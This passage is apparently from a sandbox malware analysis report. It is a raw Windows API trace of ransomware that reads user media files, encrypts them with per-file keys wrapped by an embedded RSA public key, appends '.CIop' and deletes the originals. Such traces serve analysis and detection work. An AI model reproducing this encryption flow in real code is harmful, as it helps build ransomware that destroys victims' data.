lpBuffer=0x2f0cc90*, lpNumberOfBytesRead=0x347e5e8*=0x7803, lpOverlapped=0x0) returned 1 [0104.683] CloseHandle (hObject=0x634) returned 1 [0104.683] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\gbg6IyO.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\valp\\gbg6iyo.avi")) returned 1 [0104.825] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0104.826] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0104.826] SetErrorMode (uMode=0x1) returned 0x1 [0104.826] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f1c188) returned 1 [0104.839] CryptGenKey (in: hProv=0x2f1c188, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x67e5f8) returned 1 [0105.065] CryptExportKey (in: hKey=0x67e5f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0105.065] CryptExportKey (in: hKey=0x67e5f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0105.065] CryptDestroyKey (hKey=0x67e5f8) returned 1 [0105.065] CryptReleaseContext (hProv=0x2f1c188, dwFlags=0x0) returned 1 [0105.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\gbg6IyO.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\valp\\gbg6iyo.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x658 [0105.065] WriteFile (in: hFile=0x658, lpBuffer=0x2f0cc90*, nNumberOfBytesToWrite=0x7803, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f0cc90*, lpNumberOfBytesWritten=0x347e5d8*=0x7803, lpOverlapped=0x0) returned 1 [0105.066] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7803 [0105.066] WriteFile (in: hFile=0x658, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.066] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x780a [0105.066] SetErrorMode (uMode=0x1) returned 0x1 [0105.066] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.066] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.066] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0105.066] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f1bc38) returned 1 [0105.069] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1bc38, dwCertEncodingType=0x1, pInfo=0x6915f8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x67e638) returned 1 [0105.069] CryptEncrypt (in: hKey=0x67e638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0105.069] CryptEncrypt (in: hKey=0x67e638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1b5d8*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1b5d8*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0105.069] WriteFile (in: hFile=0x658, lpBuffer=0x2f1b5d8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1b5d8*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.069] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.070] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.070] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.071] CloseHandle (hObject=0x658) returned 1 [0105.072] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\gbg6IyO.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\valp\\gbg6iyo.avi")) returned 0 Thread: id = 203 os_tid = 0xe40 [0105.147] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.147] lstrcpyW (in: lpString1=0x312f368, lpString2="4ioWuMxhZ Ndf1N_b.flv" | out: lpString1="4ioWuMxhZ Ndf1N_b.flv") returned="4ioWuMxhZ Ndf1N_b.flv" [0105.147] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.147] SetErrorMode (uMode=0x1) returned 0x1 [0105.147] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\4ioWuMxhZ Ndf1N_b.flv") returned 74 [0105.147] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\4ioWuMxhZ Ndf1N_b.flv", dwFileAttributes=0x20) returned 1 [0105.147] StrStrW (lpFirst="4ioWuMxhZ Ndf1N_b.flv", lpSrch=".CIop") returned 0x0 [0105.147] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\4ioWuMxhZ Ndf1N_b.flv.CIop") returned 79 [0105.147] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\4ioWuMxhZ Ndf1N_b.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\4iowumxhz ndf1n_b.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0105.148] ReadFile (in: hFile=0x638, lpBuffer=0x656668, nNumberOfBytesToRead=0x18ed7, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x312e5e8*=0x18ed7, lpOverlapped=0x0) returned 1 [0105.149] CloseHandle (hObject=0x638) returned 1 [0105.149] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\4ioWuMxhZ Ndf1N_b.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\4iowumxhz ndf1n_b.flv")) returned 1 [0105.154] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0105.155] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0105.155] SetErrorMode (uMode=0x1) returned 0x1 [0105.155] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1c210) returned 1 [0105.164] CryptGenKey (in: hProv=0x2f1c210, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e7f8) returned 1 [0105.218] CryptExportKey (in: hKey=0x67e7f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0105.218] CryptExportKey (in: hKey=0x67e7f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0105.218] CryptDestroyKey (hKey=0x67e7f8) returned 1 [0105.218] CryptReleaseContext (hProv=0x2f1c210, dwFlags=0x0) returned 1 [0105.219] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\4ioWuMxhZ Ndf1N_b.flv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\4iowumxhz ndf1n_b.flv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x658 [0105.219] WriteFile (in: hFile=0x658, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x18ed7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x312e5d8*=0x18ed7, lpOverlapped=0x0) returned 1 [0105.220] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18ed7 [0105.221] WriteFile (in: hFile=0x658, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.221] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18ede [0105.221] SetErrorMode (uMode=0x1) returned 0x1 [0105.221] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.221] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.221] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0105.221] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1b550) returned 1 [0105.223] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b550, dwCertEncodingType=0x1, pInfo=0x692568, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e778) returned 1 [0105.223] CryptEncrypt (in: hKey=0x67e778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0105.224] CryptEncrypt (in: hKey=0x67e778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1baa0*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1baa0*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0105.224] WriteFile (in: hFile=0x658, lpBuffer=0x2f1baa0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1baa0*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.224] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.224] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.224] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.225] CloseHandle (hObject=0x658) returned 1 [0105.227] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\4ioWuMxhZ Ndf1N_b.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\4iowumxhz ndf1n_b.flv")) returned 0 Thread: id = 204 os_tid = 0xe10 [0105.227] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.227] lstrcpyW (in: lpString1=0x326f368, lpString2="mJbzYvV0BW4OFQ1.bmp" | out: lpString1="mJbzYvV0BW4OFQ1.bmp") returned="mJbzYvV0BW4OFQ1.bmp" [0105.227] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0105.227] SetErrorMode (uMode=0x1) returned 0x1 [0105.227] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\mJbzYvV0BW4OFQ1.bmp") returned 60 [0105.227] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\mJbzYvV0BW4OFQ1.bmp", dwFileAttributes=0x20) returned 1 [0105.231] StrStrW (lpFirst="mJbzYvV0BW4OFQ1.bmp", lpSrch=".CIop") returned 0x0 [0105.231] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\mJbzYvV0BW4OFQ1.bmp.CIop") returned 65 [0105.231] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\mJbzYvV0BW4OFQ1.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\mjbzyvv0bw4ofq1.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x650 [0105.232] ReadFile (in: hFile=0x650, lpBuffer=0x2f1c318, nNumberOfBytesToRead=0x95aa, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesRead=0x326e5e8*=0x95aa, lpOverlapped=0x0) returned 1 [0105.232] CloseHandle (hObject=0x650) returned 1 [0105.232] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\mJbzYvV0BW4OFQ1.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\mjbzyvv0bw4ofq1.bmp")) returned 1 [0105.243] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0105.244] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0105.244] SetErrorMode (uMode=0x1) returned 0x1 [0105.244] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f1c210) returned 1 [0105.255] CryptGenKey (in: hProv=0x2f1c210, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e7b8) returned 1 [0105.296] CryptExportKey (in: hKey=0x67e7b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0105.296] CryptExportKey (in: hKey=0x67e7b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0105.297] CryptDestroyKey (hKey=0x67e7b8) returned 1 [0105.297] CryptReleaseContext (hProv=0x2f1c210, dwFlags=0x0) returned 1 [0105.297] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\mJbzYvV0BW4OFQ1.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\mjbzyvv0bw4ofq1.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c [0105.297] WriteFile (in: hFile=0x65c, lpBuffer=0x2f1c318*, nNumberOfBytesToWrite=0x95aa, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesWritten=0x326e5d8*=0x95aa, lpOverlapped=0x0) returned 1 [0105.298] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x95aa [0105.298] WriteFile (in: hFile=0x65c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.298] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x95b1 [0105.298] SetErrorMode (uMode=0x1) returned 0x1 [0105.298] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.298] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.298] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0105.298] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f1c210) returned 1 [0105.301] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1c210, dwCertEncodingType=0x1, pInfo=0x691fb8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67e938) returned 1 [0105.301] CryptEncrypt (in: hKey=0x67e938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0105.301] CryptEncrypt (in: hKey=0x67e938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1bb28*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1bb28*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0105.301] WriteFile (in: hFile=0x65c, lpBuffer=0x2f1bb28*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1bb28*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.301] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.301] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.301] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.301] CloseHandle (hObject=0x65c) returned 1 [0105.303] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\mJbzYvV0BW4OFQ1.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\mjbzyvv0bw4ofq1.bmp")) returned 0 Thread: id = 205 os_tid = 0xe4c [0105.310] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm 